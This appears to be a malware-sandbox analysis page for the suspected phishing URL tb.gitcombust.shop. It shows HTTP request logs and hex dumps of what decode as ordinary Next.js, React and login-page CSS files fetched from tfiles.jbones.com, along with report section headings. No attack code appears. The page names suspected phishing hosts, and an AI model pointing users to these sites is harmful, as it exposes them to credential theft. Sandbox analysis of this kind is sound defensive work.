2025-03-27 17:56:24 UTC	594	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::k4nch-1743098184188-f25d6246c5a6 Connection: close
2025-03-27 17:56:24 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	575	OUT	GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	631	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="framework-2c79e2a64abdb08b.js" Content-Length: 141052 Content-Type: application/javascript; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "7fc4bed6b4319c62343f0bf5db91a5bb" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/framework-2c79e2a64abdb08b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::2np55-1743098184192-ebbcd1aa059b Connection: close
2025-03-27 17:56:24 UTC	2372	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 37 34 5d 2c 7b 34 34 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 52 65 61 63 74 0a 20 2a 20 72 65 61 63 74 2d 64 6f 6d 2e 70 72 6f 64 75 63 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 61 6e 64 20 69 74 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c Data Ascii: "use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[774],{4448:function(e,n,t){/** * @license React * react-dom.production.min.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT l
2025-03-27 17:56:24 UTC	924	IN	Data Raw: 69 74 65 6d 53 63 6f 70 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 33 2c 21 31 2c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 68 65 63 6b 65 64 22 2c 22 6d 75 6c 74 69 70 6c 65 22 2c 22 6d 75 74 65 64 22 2c 22 73 65 6c 65 63 74 65 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 33 2c 21 30 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 2c 5b 22 63 61 70 74 75 72 65 22 2c 22 64 6f 77 6e 6c 6f 61 64 22 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 5b 65 5d 3d 6e 65 77 20 77 28 65 2c 34 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 Data Ascii: itemScope".split(" ").forEach(function(e){S[e]=new w(e,3,!1,e.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(e){S[e]=new w(e,3,!0,e,null,!1,!1)}),["capture","download"].forEach(function(e){S[e]=new w(e,4,!1,e,null,!
2025-03-27 17:56:24 UTC	4744	IN	Data Raw: 2c 6e 2c 74 2c 72 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 72 29 72 65 74 75 72 6e 21 31 3b 69 66 28 6e 75 6c 6c 21 3d 3d 74 29 73 77 69 74 63 68 28 74 2e 74 79 70 65 29 7b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 21 6e 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 21 31 3d 3d 3d 6e 3b 63 61 73 65 20 35 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 3b 63 61 73 65 20 36 3a 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 7c 7c 31 3e 6e 7d 72 65 74 75 72 6e 21 31 7d 28 6e 2c 74 2c 61 2c 72 29 26 26 28 74 3d 6e 75 6c 6c 29 2c 72 7c 7c 6e 75 6c 6c 3d 3d 3d 61 3f 28 6c 3d 6e 2c 28 21 21 76 2e 63 61 6c 6c 28 6b 2c 6c 29 7c 7c 21 76 2e 63 61 6c 6c 28 62 2c 6c 29 26 26 28 79 2e 74 65 73 74 28 6c 29 3f 6b 5b 6c 5d 3d 21 30 3a 28 62 5b 6c 5d 3d 21 30 2c 21 31 29 29 29 26 Data Ascii: ,n,t,r))return!0;if(r)return!1;if(null!==t)switch(t.type){case 3:return!n;case 4:return!1===n;case 5:return isNaN(n);case 6:return isNaN(n)\|\|1>n}return!1}(n,t,a,r)&&(t=null),r\|\|null===a?(l=n,(!!v.call(k,l)\|\|!v.call(b,l)&&(y.test(l)?k[l]=!0:(b[l]=!0,!1)))&
2025-03-27 17:56:24 UTC	5930	IN	Data Raw: 28 65 29 7b 72 3d 22 22 2b 65 2c 61 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 74 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 2c 7b 67 65 74 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 73 65 74 56 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 3d 22 22 2b 65 7d 2c 73 74 6f 70 54 72 61 63 6b 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 76 61 6c 75 65 54 72 61 63 6b 65 72 3d 6e 75 6c 6c 2c 64 65 6c 65 74 65 20 65 5b 6e 5d 7d 7d 7d 7d 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 3d 65 2e 5f 76 61 6c 75 65 54 72 61 63 6b Data Ascii: (e){r=""+e,a.call(this,e)}}),Object.defineProperty(e,n,{enumerable:t.enumerable}),{getValue:function(){return r},setValue:function(e){r=""+e},stopTracking:function(){e._valueTracker=null,delete e[n]}}}}(e))}function X(e){if(!e)return!1;var n=e._valueTrack
2025-03-27 17:56:24 UTC	7116	IN	Data Raw: 74 4e 6f 64 65 3a 65 7d 76 61 72 20 65 5f 3d 6e 75 6c 6c 2c 65 43 3d 6e 75 6c 6c 2c 65 50 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 65 4e 28 65 29 7b 69 66 28 65 3d 72 44 28 65 29 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 5f 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 32 38 30 29 29 3b 76 61 72 20 6e 3d 65 2e 73 74 61 74 65 4e 6f 64 65 3b 6e 26 26 28 6e 3d 72 55 28 6e 29 2c 65 5f 28 65 2e 73 74 61 74 65 4e 6f 64 65 2c 65 2e 74 79 70 65 2c 6e 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 65 7a 28 65 29 7b 65 43 3f 65 50 3f 65 50 2e 70 75 73 68 28 65 29 3a 65 50 3d 5b 65 5d 3a 65 43 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 65 54 28 29 7b 69 66 28 65 43 29 7b 76 61 72 20 65 3d 65 43 2c 6e 3d 65 50 3b 69 66 28 65 50 3d 65 43 3d 6e 75 Data Ascii: tNode:e}var e_=null,eC=null,eP=null;function eN(e){if(e=rD(e)){if("function"!=typeof e_)throw Error(f(280));var n=e.stateNode;n&&(n=rU(n),e_(e.stateNode,e.type,n))}}function ez(e){eC?eP?eP.push(e):eP=[e]:eC=e}function eT(){if(eC){var e=eC,n=eP;if(eP=eC=nu
2025-03-27 17:56:24 UTC	8302	IN	Data Raw: 2c 74 2c 72 29 7d 66 69 6e 61 6c 6c 79 7b 6e 63 3d 6c 2c 6e 46 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 6e 55 28 65 2c 6e 2c 74 2c 72 29 7b 69 66 28 6e 4f 29 7b 76 61 72 20 6c 3d 6e 24 28 65 2c 6e 2c 74 2c 72 29 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 6c 29 72 6f 28 65 2c 6e 2c 72 2c 6e 56 2c 74 29 2c 6e 43 28 65 2c 72 29 3b 65 6c 73 65 20 69 66 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 2c 6c 29 7b 73 77 69 74 63 68 28 6e 29 7b 63 61 73 65 22 66 6f 63 75 73 69 6e 22 3a 72 65 74 75 72 6e 20 6e 62 3d 6e 50 28 6e 62 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 2c 21 30 3b 63 61 73 65 22 64 72 61 67 65 6e 74 65 72 22 3a 72 65 74 75 72 6e 20 6e 6b 3d 6e 50 28 6e 6b 2c 65 2c 6e 2c 74 2c 72 2c 6c 29 2c 21 30 3b 63 61 73 65 22 6d 6f 75 73 65 Data Ascii: ,t,r)}finally{nc=l,nF.transition=a}}function nU(e,n,t,r){if(nO){var l=n$(e,n,t,r);if(null===l)ro(e,n,r,nV,t),nC(e,r);else if(function(e,n,t,r,l){switch(n){case"focusin":return nb=nP(nb,e,n,t,r,l),!0;case"dragenter":return nk=nP(nk,e,n,t,r,l),!0;case"mouse
2025-03-27 17:56:24 UTC	6676	IN	Data Raw: 31 3b 66 6f 72 28 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6c 3d 74 5b 72 5d 3b 69 66 28 21 76 2e 63 61 6c 6c 28 6e 2c 6c 29 7c 7c 21 74 44 28 65 5b 6c 5d 2c 6e 5b 6c 5d 29 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 66 75 6e 63 74 69 6f 6e 20 74 55 28 65 29 7b 66 6f 72 28 3b 65 26 26 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 65 3d 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 56 28 65 2c 6e 29 7b 76 61 72 20 74 2c 72 3d 74 55 28 65 29 3b 66 6f 72 28 65 3d 30 3b 72 3b 29 7b 69 66 28 33 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 29 7b 69 66 28 74 3d 65 2b 72 2e 74 65 78 74 43 6f 6e 74 65 6e 74 2e 6c 65 6e 67 74 68 2c 65 3c 3d 6e 26 26 74 3e 3d 6e 29 72 65 74 75 72 6e Data Ascii: 1;for(r=0;r<t.length;r++){var l=t[r];if(!v.call(n,l)\|\|!tD(e[l],n[l]))return!1}return!0}function tU(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function tV(e,n){var t,r=tU(e);for(e=0;r;){if(3===r.nodeType){if(t=e+r.textContent.length,e<=n&&t>=n)return
2025-03-27 17:56:24 UTC	10674	IN	Data Raw: 3a 63 61 73 65 22 64 72 6f 70 22 3a 69 3d 6e 38 3b 62 72 65 61 6b 3b 63 61 73 65 22 74 6f 75 63 68 63 61 6e 63 65 6c 22 3a 63 61 73 65 22 74 6f 75 63 68 65 6e 64 22 3a 63 61 73 65 22 74 6f 75 63 68 6d 6f 76 65 22 3a 63 61 73 65 22 74 6f 75 63 68 73 74 61 72 74 22 3a 69 3d 74 6f 3b 62 72 65 61 6b 3b 63 61 73 65 20 74 4a 3a 63 61 73 65 20 74 30 3a 63 61 73 65 20 74 31 3a 69 3d 6e 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 74 32 3a 69 3d 74 69 3b 62 72 65 61 6b 3b 63 61 73 65 22 73 63 72 6f 6c 6c 22 3a 69 3d 6e 32 3b 62 72 65 61 6b 3b 63 61 73 65 22 77 68 65 65 6c 22 3a 69 3d 74 73 3b 62 72 65 61 6b 3b 63 61 73 65 22 63 6f 70 79 22 3a 63 61 73 65 22 63 75 74 22 3a 63 61 73 65 22 70 61 73 74 65 22 3a 69 3d 6e 39 3b 62 72 65 61 6b 3b 63 61 73 65 22 67 6f 74 70 6f Data Ascii: :case"drop":i=n8;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":i=to;break;case tJ:case t0:case t1:i=n6;break;case t2:i=ti;break;case"scroll":i=n2;break;case"wheel":i=ts;break;case"copy":case"cut":case"paste":i=n9;break;case"gotpo
2025-03-27 17:56:24 UTC	3759	IN	Data Raw: 65 7b 69 66 28 6c 6d 28 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 66 28 34 31 38 29 29 3b 65 2e 66 6c 61 67 73 3d 2d 34 30 39 37 26 65 2e 66 6c 61 67 73 7c 32 2c 6c 63 3d 21 31 2c 6c 69 3d 65 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 67 28 65 29 7b 66 6f 72 28 65 3d 65 2e 72 65 74 75 72 6e 3b 6e 75 6c 6c 21 3d 3d 65 26 26 35 21 3d 3d 65 2e 74 61 67 26 26 33 21 3d 3d 65 2e 74 61 67 26 26 31 33 21 3d 3d 65 2e 74 61 67 3b 29 65 3d 65 2e 72 65 74 75 72 6e 3b 6c 69 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 6c 76 28 65 29 7b 69 66 28 65 21 3d 3d 6c 69 29 72 65 74 75 72 6e 21 31 3b 69 66 28 21 6c 63 29 72 65 74 75 72 6e 20 6c 67 28 65 29 2c 6c 63 3d 21 30 2c 21 31 3b 69 66 28 28 6e 3d 33 21 3d 3d 65 2e 74 61 67 29 26 26 21 28 6e 3d 35 21 3d 3d 65 2e 74 61 67 29 26 26 Data Ascii: e{if(lm(e))throw Error(f(418));e.flags=-4097&e.flags\|2,lc=!1,li=e}}}function lg(e){for(e=e.return;null!==e&&5!==e.tag&&3!==e.tag&&13!==e.tag;)e=e.return;li=e}function lv(e){if(e!==li)return!1;if(!lc)return lg(e),lc=!0,!1;if((n=3!==e.tag)&&!(n=5!==e.tag)&&
2025-03-27 17:56:24 UTC	13046	IN	Data Raw: 7b 76 61 72 20 66 3d 6c 2e 62 61 73 65 53 74 61 74 65 3b 66 6f 72 28 75 3d 30 2c 63 3d 73 3d 69 3d 6e 75 6c 6c 2c 6f 3d 61 3b 3b 29 7b 76 61 72 20 64 3d 6f 2e 6c 61 6e 65 2c 70 3d 6f 2e 65 76 65 6e 74 54 69 6d 65 3b 69 66 28 28 72 26 64 29 3d 3d 3d 64 29 7b 6e 75 6c 6c 21 3d 3d 63 26 26 28 63 3d 63 2e 6e 65 78 74 3d 7b 65 76 65 6e 74 54 69 6d 65 3a 70 2c 6c 61 6e 65 3a 30 2c 74 61 67 3a 6f 2e 74 61 67 2c 70 61 79 6c 6f 61 64 3a 6f 2e 70 61 79 6c 6f 61 64 2c 63 61 6c 6c 62 61 63 6b 3a 6f 2e 63 61 6c 6c 62 61 63 6b 2c 6e 65 78 74 3a 6e 75 6c 6c 7d 29 3b 65 3a 7b 76 61 72 20 6d 3d 65 2c 68 3d 6f 3b 73 77 69 74 63 68 28 64 3d 6e 2c 70 3d 74 2c 68 2e 74 61 67 29 7b 63 61 73 65 20 31 3a 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6d 3d 68 Data Ascii: {var f=l.baseState;for(u=0,c=s=i=null,o=a;;){var d=o.lane,p=o.eventTime;if((r&d)===d){null!==c&&(c=c.next={eventTime:p,lane:0,tag:o.tag,payload:o.payload,callback:o.callback,next:null});e:{var m=e,h=o;switch(d=n,p=t,h.tag){case 1:if("function"==typeof(m=h

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://tb.gitcombust.shop/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Windows Analysis Report
https://tb.gitcombust.shop/

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	570	OUT	GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	620	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="main-de1ad41d606513c1.js" Content-Length: 93582 Content-Type: application/javascript; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "da989c36392e2601ea958221ae086c80" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/main-de1ad41d606513c1.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::wxmph-1743098184190-09dd36777d55 Connection: close
2025-03-27 17:56:24 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 37 39 5d 2c 7b 33 37 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 22 74 72 69 6d 53 74 61 72 74 22 69 6e 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 53 74 61 72 74 3d 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 4c 65 66 74 29 2c 22 74 72 69 6d 45 6e 64 22 69 6e 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 28 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 45 6e 64 3d 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 72 69 6d 52 69 67 68 74 29 2c 22 64 65 73 63 72 69 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{37:function(){"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"descri
2025-03-27 17:56:24 UTC	935	IN	Data Raw: 5f 65 73 4d 6f 64 75 6c 65 26 26 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 64 65 66 61 75 6c 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 64 65 66 61 75 6c 74 2c 74 29 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 29 7d 2c 32 31 34 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 68 61 73 42 61 73 65 50 61 74 68 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 Data Ascii: _esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},2140:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"hasBasePath",{enumerable:!0,g
2025-03-27 17:56:24 UTC	4744	IN	Data Raw: 6e 6f 4d 6f 64 75 6c 65 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 6c 65 74 7b 74 79 70 65 3a 74 2c 70 72 6f 70 73 3a 72 7d 3d 65 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 74 29 3b 66 6f 72 28 6c 65 74 20 65 20 69 6e 20 72 29 7b 69 66 28 21 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 7c 7c 22 63 68 69 6c 64 72 65 6e 22 3d 3d 3d 65 7c 7c 22 64 61 6e 67 65 72 6f 75 73 6c 79 53 65 74 49 6e 6e 65 72 48 54 4d 4c 22 3d 3d 3d 65 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 5b 65 5d 29 63 6f 6e 74 69 6e 75 65 3b 6c 65 74 20 6f 3d 6e 5b 65 5d 7c 7c 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 22 73 63 72 69 70 74 22 3d 3d 3d 74 26 26 28 22 61 73 79 6e 63 22 3d 3d 3d 6f 7c 7c 22 64 65 66 65 72 22 3d 3d 3d 6f 7c 7c Data Ascii: noModule"};function a(e){let{type:t,props:r}=e,a=document.createElement(t);for(let e in r){if(!r.hasOwnProperty(e)\|\|"children"===e\|\|"dangerouslySetInnerHTML"===e\|\|void 0===r[e])continue;let o=n[e]\|\|e.toLowerCase();"script"===t&&("async"===o\|\|"defer"===o\|\|
2025-03-27 17:56:24 UTC	5930	IN	Data Raw: 61 74 65 45 6c 65 6d 65 6e 74 28 50 2e 52 6f 75 74 65 72 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 28 30 2c 4c 2e 6d 61 6b 65 50 75 62 6c 69 63 52 6f 75 74 65 72 49 6e 73 74 61 6e 63 65 29 28 6e 29 7d 2c 79 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 2e 48 65 61 64 4d 61 6e 61 67 65 72 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 75 7d 2c 79 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 49 2e 49 6d 61 67 65 43 6f 6e 66 69 67 43 6f 6e 74 65 78 74 2e 50 72 6f 76 69 64 65 72 2c 7b 76 61 6c 75 65 3a 7b 64 65 76 69 63 65 53 69 7a 65 73 3a 5b 36 34 30 2c 37 35 30 2c 38 32 38 2c 31 30 38 30 2c 31 32 30 30 2c 31 39 32 30 2c 32 30 34 38 2c 33 38 34 30 5d 2c Data Ascii: ateElement(P.RouterContext.Provider,{value:(0,L.makePublicRouterInstance)(n)},y.default.createElement(b.HeadManagerContext.Provider,{value:u},y.default.createElement(I.ImageConfigContext.Provider,{value:{deviceSizes:[640,750,828,1080,1200,1920,2048,3840],
2025-03-27 17:56:24 UTC	7116	IN	Data Raw: 7d 2c 34 36 34 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 6c 65 74 20 6e 3d 72 28 35 32 37 34 29 3b 77 69 6e 64 6f 77 2e 6e 65 78 74 3d 7b 76 65 72 73 69 6f 6e 3a 6e 2e 76 65 72 73 69 6f 6e 2c 67 65 74 20 72 6f 75 74 65 72 28 29 7b 72 65 74 75 72 6e 20 6e 2e 72 6f 75 74 65 72 7d 2c 65 6d 69 74 74 65 72 3a 6e 2e 65 6d 69 74 74 65 72 7d 2c 28 30 2c 6e 2e 69 6e 69 74 69 61 6c 69 7a 65 29 28 7b 7d 29 2e 74 68 65 6e 28 28 29 3d 3e 28 30 2c 6e 2e 68 79 64 72 61 74 65 29 28 29 29 2e 63 61 74 63 68 28 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 29 2c 28 22 66 75 6e 63 74 69 Data Ascii: },4642:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});let n=r(5274);window.next={version:n.version,get router(){return n.router},emitter:n.emitter},(0,n.initialize)({}).then(()=>(0,n.hydrate)()).catch(console.error),("functi
